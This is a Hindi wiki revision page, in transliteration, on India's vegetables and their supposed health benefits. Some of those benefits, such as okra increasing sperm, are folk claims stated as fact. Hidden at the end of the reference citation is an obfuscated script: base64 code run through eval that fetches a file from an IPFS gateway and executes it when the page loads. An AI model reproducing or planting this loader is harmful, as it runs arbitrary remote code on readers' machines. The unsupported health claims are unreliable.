Difference between revisions of "भारत की शाक-सब्ज़ी"
| [unchecked revision] | [unchecked revision] |
('सब्ज़ी पौधे के खाएं जा सकने वाले हिस्से को कहते हैं। ...' के साथ नया पन्ना बनाया) |
|||
| Line 23: | Line 23: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
| − | [[Category:शाक-सब्ज़ी]] | + | [[Category:शाक-सब्ज़ी]][[Category:वनस्पति_कोश]] |
__INDEX__ | __INDEX__ | ||
Revision as of 06:24, 27 August 2010
sabzi paudhe ke khaean ja sakane vale hisse ko kahate haian. sabziyaan sare bharat mean asani se prapt ho jati haian. sabziyoan ka sevan hamare jivan mean mahatvapoorn hai. hari sabziyoan ka sevan hamare lie zaroori hai. hamean sharir ke lie avashyak ve sabhi tatv hari sabziyoan se mil jate haian, jo rogoan se hamare sharir ko l dane ki shakti pradan karate haian. isake niyamit sevan se pachanatantr mean sudhar, lavany mean vriddhi aur hamare sharir ko paushtikata bhi prapt hoti hai. jisaka asar apake chehare aur sharir par asani se dekha ja sakata hai.
hari sabjiyoan ke labh
- adarak, dhaniya, pudina, hari mirch sabziyoan ke tatvoan evan svad ko badhane mean madad karate haian.
- lahasun khoon ka thakka jamane nahian deta aur hriday rog mean labhakari hai.
- gobhi, aloo, bins adi sharir ke vividh bhagoan, tatvoan, matraoan ko prabhavit karate haian.
- tamatar sharir mean rakt ki matra badhata hai aur tvacha nikharata hai.
- nianboo sharir ke pachak rasoan ko badhata hai.
- bhiandi viry mean gadhapan lati hai aur shukranu badhati hai.
- lauki shighr pachak, raktavarddhak hai. yah shitalata pradan karati hai.
- palak haddiyoan ko kailshiyam se sudridh karata hai.
- khira rakt kanoan ka shodhan kar sharir mean rakt ka pravah badhati hai.
- paraval sharir ko oorja deta hai.
hamean apane ahar mean taja sabziyoan ka istemal karana chahie aur aisi sabziyoan ke sevan se bachana chahie jo bahut dinoan se sanrakshit kar rakhi gee hoan. jahaan khane mean taja sabziyaan svadisht aur paushtik hoti haian vahian unamean vitamin kabohaidret aur protin jaise poshak tatv bhi prachur matra mean hote haian.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ hari-bhari sabziyaan hara-bhara jivan (hindi) (ech ti em) vebaduniya. abhigaman tithi: 26 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>